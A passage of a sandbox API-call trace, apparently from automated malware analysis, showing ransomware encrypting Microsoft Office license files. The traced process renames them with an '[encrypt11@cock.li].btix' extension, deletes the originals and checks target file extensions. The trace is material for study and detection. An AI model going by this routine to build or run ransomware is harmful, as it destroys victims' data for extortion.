returned 0x550 [0144.316] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1 [0144.316] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1 [0144.317] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ppd.xrm-ms.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_oem_perp-ppd.xrm-ms.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a0 [0144.317] GetLastError () returned 0x0 [0144.317] ReadFile (in: hFile=0x550, lpBuffer=0x45c2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x45c2020*, lpNumberOfBytesRead=0x38cfecc*=0x55d9, lpOverlapped=0x0) returned 1 [0144.342] WriteFile (in: hFile=0x4a0, lpBuffer=0x45c2020*, nNumberOfBytesToWrite=0x55e0, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x45c2020*, lpNumberOfBytesWritten=0x38cfc94*=0x55e0, lpOverlapped=0x0) returned 1 [0144.343] ReadFile (in: hFile=0x550, lpBuffer=0x45c2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x45c2020*, lpNumberOfBytesRead=0x38cfecc*=0x0, lpOverlapped=0x0) returned 1 [0144.343] WriteFile (in: hFile=0x4a0, lpBuffer=0x45c2020*, nNumberOfBytesToWrite=0x11e, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x45c2020*, lpNumberOfBytesWritten=0x38cfc94*=0x11e, lpOverlapped=0x0) returned 1 [0144.343] SetEndOfFile (hFile=0x4a0) returned 1 [0144.343] CloseHandle (hObject=0x4a0) returned 1 [0144.343] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1 [0144.343] SetEndOfFile (hFile=0x550) returned 1 [0144.404] CloseHandle (hObject=0x550) returned 1 [0144.404] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ppd.xrm-ms.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0144.654] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_oem_perp-ppd.xrm-ms")) returned 1 [0144.670] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ppd.xrm-ms") returned 87 [0144.670] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ppd.xrm-ms") returned 87 [0144.670] lstrlenW (lpString=".doc") returned 4 [0144.670] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0144.670] lstrlenW (lpString=".docx") returned 5 [0144.670] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0144.671] lstrlenW (lpString=".pdf") returned 4 [0144.671] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0144.671] lstrlenW (lpString=".xls") returned 4 [0144.671] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0144.671] lstrlenW (lpString=".xlsx") returned 5 [0144.671] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0144.671] lstrlenW (lpString=".ppt") returned 4 [0144.671] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0144.671] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ppd.xrm-ms") returned 87 [0144.671] lstrlenW (lpString=".zip") returned 4 [0144.671] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0144.671] lstrlenW (lpString=".rar") returned 4 [0144.671] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0144.671] lstrlenW (lpString=".bz2") returned 4 [0144.671] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0144.671] lstrlenW (lpString=".7z") returned 3 [0144.671] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0144.671] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ppd.xrm-ms") returned 87 [0144.671] lstrlenW (lpString=".dbf") returned 4 [0144.671] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0144.671] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ppd.xrm-ms") returned 87 [0144.671] lstrlenW (lpString=".1cd") returned 4 [0144.671] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0144.671] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ppd.xrm-ms") returned 87 [0144.671] lstrlenW (lpString=".jpg") returned 4 [0144.671] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0144.672] GetFileSizeEx (in: hFile=0x508, lpFileSize=0x38cff14 | out: lpFileSize=0x38cff14*=22033) returned 1 [0144.672] CloseHandle (hObject=0x508) returned 1 [0144.672] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_grace-ppd.xrm-ms")) returned 0x220 [0144.672] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Grace-ppd.xrm-ms.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_grace-ppd.xrm-ms.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0144.672] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_grace-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x508 [0144.672] SetFilePointerEx (in: hFile=0x508, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1 [0144.672] SetFilePointerEx (in: hFile=0x508, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1 [0144.672] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Grace-ppd.xrm-ms.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_grace-ppd.xrm-ms.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550 [0144.673] GetLastError () returned 0x0 [0144.673] ReadFile (in: hFile=0x508, lpBuffer=0x45c2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x45c2020*, lpNumberOfBytesRead=0x38cfecc*=0x5611, lpOverlapped=0x0) returned 1 [0144.806] WriteFile (in: hFile=0x550, lpBuffer=0x45c2020*, nNumberOfBytesToWrite=0x5620, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x45c2020*, lpNumberOfBytesWritten=0x38cfc94*=0x5620, lpOverlapped=0x0) returned 1 [0144.812] ReadFile (in: hFile=0x508, lpBuffer=0x45c2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x45c2020*, lpNumberOfBytesRead=0x38cfecc*=0x0, lpOverlapped=0x0) returned 1 [0144.812] WriteFile (in: hFile=0x550, lpBuffer=0x45c2020*, nNumberOfBytesToWrite=0x110, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x45c2020*, lpNumberOfBytesWritten=0x38cfc94*=0x110, lpOverlapped=0x0) returned 1 [0144.812] SetEndOfFile (hFile=0x550) returned 1 [0144.817] CloseHandle (hObject=0x550) returned 1 [0144.820] SetFilePointerEx (in: hFile=0x508, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1 [0144.820] SetEndOfFile (hFile=0x508) returned 1 [0144.836] CloseHandle (hObject=0x508) returned 1 [0144.836] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Grace-ppd.xrm-ms.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0144.939] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_grace-ppd.xrm-ms")) returned 1 [0145.463] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Grace-ppd.xrm-ms") returned 80 [0145.463] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Grace-ppd.xrm-ms") returned 80 [0145.463] lstrlenW (lpString=".doc") returned 4 [0145.463] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0145.463] lstrlenW (lpString=".docx") returned 5 [0145.463] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0145.463] lstrlenW (lpString=".pdf") returned 4 [0145.463] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0145.463] lstrlenW (lpString=".xls") returned 4 [0145.463] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0145.463] lstrlenW (lpString=".xlsx") returned 5 [0145.463] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0145.463] lstrlenW (lpString=".ppt") returned 4 [0145.463] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0145.463] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Grace-ppd.xrm-ms") returned 80 [0145.463] lstrlenW (lpString=".zip") returned 4 [0145.463] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0145.463] lstrlenW (lpString=".rar") returned 4 [0145.463] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0145.464] lstrlenW (lpString=".bz2") returned 4 [0145.464] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0145.464] lstrlenW (lpString=".7z") returned 3 [0145.464] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0145.464] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Grace-ppd.xrm-ms") returned 80 [0145.464] lstrlenW (lpString=".dbf") returned 4 [0145.464] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0145.464] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Grace-ppd.xrm-ms") returned 80 [0145.464] lstrlenW (lpString=".1cd") returned 4 [0145.464] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0145.464] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Grace-ppd.xrm-ms") returned 80 [0145.464] lstrlenW (lpString=".jpg") returned 4 [0145.464] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0145.464] GetFileSizeEx (in: hFile=0x418, lpFileSize=0x38cff14 | out: lpFileSize=0x38cff14*=11621) returned 1 [0145.464] CloseHandle (hObject=0x418) returned 1 [0145.464] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp2-ul-oob.xrm-ms")) returned 0x220 [0145.464] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ul-oob.xrm-ms.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp2-ul-oob.xrm-ms.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0145.465] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp2-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x418 [0145.465] SetFilePointerEx (in: hFile=0x418, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1 [0145.465] SetFilePointerEx (in: hFile=0x418, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1 [0145.465] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ul-oob.xrm-ms.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp2-ul-oob.xrm-ms.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x40c [0145.485] GetLastError () returned 0x0 [0145.485] ReadFile (in: hFile=0x418, lpBuffer=0x45c2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x45c2020*, lpNumberOfBytesRead=0x38cfecc*=0x2d65, lpOverlapped=0x0) returned 1 [0145.505] WriteFile (in: hFile=0x40c, lpBuffer=0x45c2020*, nNumberOfBytesToWrite=0x2d70, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x45c2020*, lpNumberOfBytesWritten=0x38cfc94*=0x2d70, lpOverlapped=0x0) returned 1 [0145.506] ReadFile (in: hFile=0x418, lpBuffer=0x45c2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x45c2020*, lpNumberOfBytesRead=0x38cfecc*=0x0, lpOverlapped=0x0) returned 1 [0145.506] WriteFile (in: hFile=0x40c, lpBuffer=0x45c2020*, nNumberOfBytesToWrite=0x11e, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x45c2020*, lpNumberOfBytesWritten=0x38cfc94*=0x11e, lpOverlapped=0x0) returned 1 [0145.506] SetEndOfFile (hFile=0x40c) returned 1 [0145.506] CloseHandle (hObject=0x40c) returned 1 [0145.506] SetFilePointerEx (in: hFile=0x418, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1 [0145.506] SetEndOfFile (hFile=0x418) returned 1 [0145.508] CloseHandle (hObject=0x418) returned 1 [0145.509] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ul-oob.xrm-ms.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0145.509] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp2-ul-oob.xrm-ms")) returned 1 [0145.510] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ul-oob.xrm-ms") returned 87 [0145.510] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ul-oob.xrm-ms") returned 87 [0145.510] lstrlenW (lpString=".doc") returned 4 [0145.510] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0145.510] lstrlenW (lpString=".docx") returned 5 [0145.510] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0145.510] lstrlenW (lpString=".pdf") returned 4 [0145.510] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0145.510] lstrlenW (lpString=".xls") returned 4 [0145.510] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0145.510] lstrlenW (lpString=".xlsx") returned 5 [0145.510] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0145.510] lstrlenW (lpString=".ppt") returned 4 [0145.510] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0145.510] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ul-oob.xrm-ms") returned 87 [0145.510] lstrlenW (lpString=".zip") returned 4 [0145.510] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0145.510] lstrlenW (lpString=".rar") returned 4 [0145.510] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0145.510] lstrlenW (lpString=".bz2") returned 4 [0145.510] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0145.510] lstrlenW (lpString=".7z") returned 3 [0145.510] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0145.510] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ul-oob.xrm-ms") returned 87 [0145.510] lstrlenW (lpString=".dbf") returned 4 [0145.510] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0145.510] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ul-oob.xrm-ms") returned 87 [0145.510] lstrlenW (lpString=".1cd") returned 4 [0145.510] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0145.510] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ul-oob.xrm-ms") returned 87 [0145.511] lstrlenW (lpString=".jpg") returned 4 [0145.511] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0145.511] GetFileSizeEx (in: hFile=0x418, lpFileSize=0x38cff14 | out: lpFileSize=0x38cff14*=10667) returned 1 [0145.511] CloseHandle (hObject=0x418) returned 1 [0145.511] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp3-pl.xrm-ms")) returned 0x220 [0145.511] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-pl.xrm-ms.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp3-pl.xrm-ms.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0145.511] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp3-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x418 [0145.512] SetFilePointerEx (in: hFile=0x418, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1 [0145.512] SetFilePointerEx (in: hFile=0x418, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1 [0145.512] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-pl.xrm-ms.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp3-pl.xrm-ms.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x40c [0145.512] GetLastError () returned 0x0 [0145.512] ReadFile (in: hFile=0x418, lpBuffer=0x45c2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x45c2020*, lpNumberOfBytesRead=0x38cfecc*=0x29ab, lpOverlapped=0x0) returned 1 [0145.523] WriteFile (in: hFile=0x40c, lpBuffer=0x45c2020*, nNumberOfBytesToWrite=0x29b0, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x45c2020*, lpNumberOfBytesWritten=0x38cfc94*=0x29b0, lpOverlapped=0x0) returned 1 [0145.524] ReadFile (in: hFile=0x418, lpBuffer=0x45c2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x45c2020*, lpNumberOfBytesRead=0x38cfecc*=0x0, lpOverlapped=0x0) returned 1 [0145.524] WriteFile (in: hFile=0x40c, lpBuffer=0x45c2020*, nNumberOfBytesToWrite=0x116, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x45c2020*, lpNumberOfBytesWritten=0x38cfc94*=0x116, lpOverlapped=0x0) returned 1 [0145.524] SetEndOfFile (hFile=0x40c) returned 1 [0145.524] CloseHandle (hObject=0x40c) returned 1 [0145.525] SetFilePointerEx (in: hFile=0x418, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1 [0145.525] SetEndOfFile (hFile=0x418) returned 1 [0145.527] CloseHandle (hObject=0x418) returned 1 [0145.528] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-pl.xrm-ms.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0145.528] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp3-pl.xrm-ms")) returned 1 [0145.529] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-pl.xrm-ms") returned 83 [0145.529] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-pl.xrm-ms") returned 83 [0145.529] lstrlenW (lpString=".doc") returned 4 [0145.529] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0145.529] lstrlenW (lpString=".docx") returned 5 [0145.529] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0145.529] lstrlenW (lpString=".pdf") returned 4 [0145.529] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0145.529] lstrlenW (lpString=".xls") returned 4 [0145.530] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0145.530] lstrlenW (lpString=".xlsx") returned 5 [0145.530] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0145.530] lstrlenW (lpString=".ppt") returned 4 [0145.530] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0145.530] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-pl.xrm-ms") returned 83 [0145.530] lstrlenW (lpString=".zip") returned 4 [0145.530] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0145.530] lstrlenW (lpString=".rar") returned 4 [0145.530] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0145.530] lstrlenW (lpString=".bz2") returned 4 [0145.530] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0145.530] lstrlenW (lpString=".7z") returned 3 [0145.530] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0145.530] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-pl.xrm-ms") returned 83 [0145.530] lstrlenW (lpString=".dbf") returned 4 [0145.530] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0145.530] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-pl.xrm-ms") returned 83 [0145.530] lstrlenW (lpString=".1cd") returned 4 [0145.530] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0145.530] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-pl.xrm-ms") returned 83 [0145.530] lstrlenW (lpString=".jpg") returned 4 [0145.530] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0145.531] GetFileSizeEx (in: hFile=0x418, lpFileSize=0x38cff14 | out: lpFileSize=0x38cff14*=11621) returned 1 [0145.531] CloseHandle (hObject=0x418) returned 1 [0145.531] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp3-ul-oob.xrm-ms")) returned 0x220 [0145.531] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ul-oob.xrm-ms.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp3-ul-oob.xrm-ms.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0145.531] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp3-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x418 [0145.532] SetFilePointerEx (in: hFile=0x418, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1 [0145.532] SetFilePointerEx (in: hFile=0x418, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1 [0145.532] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ul-oob.xrm-ms.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp3-ul-oob.xrm-ms.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x40c [0145.532] GetLastError () returned 0x0 [0145.532] ReadFile (in: hFile=0x418, lpBuffer=0x45c2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x45c2020*, lpNumberOfBytesRead=0x38cfecc*=0x2d65, lpOverlapped=0x0) returned 1 [0145.552] WriteFile (in: hFile=0x40c, lpBuffer=0x45c2020*, nNumberOfBytesToWrite=0x2d70, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x45c2020*, lpNumberOfBytesWritten=0x38cfc94*=0x2d70, lpOverlapped=0x0) returned 1 [0145.553] ReadFile (in: hFile=0x418, lpBuffer=0x45c2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: 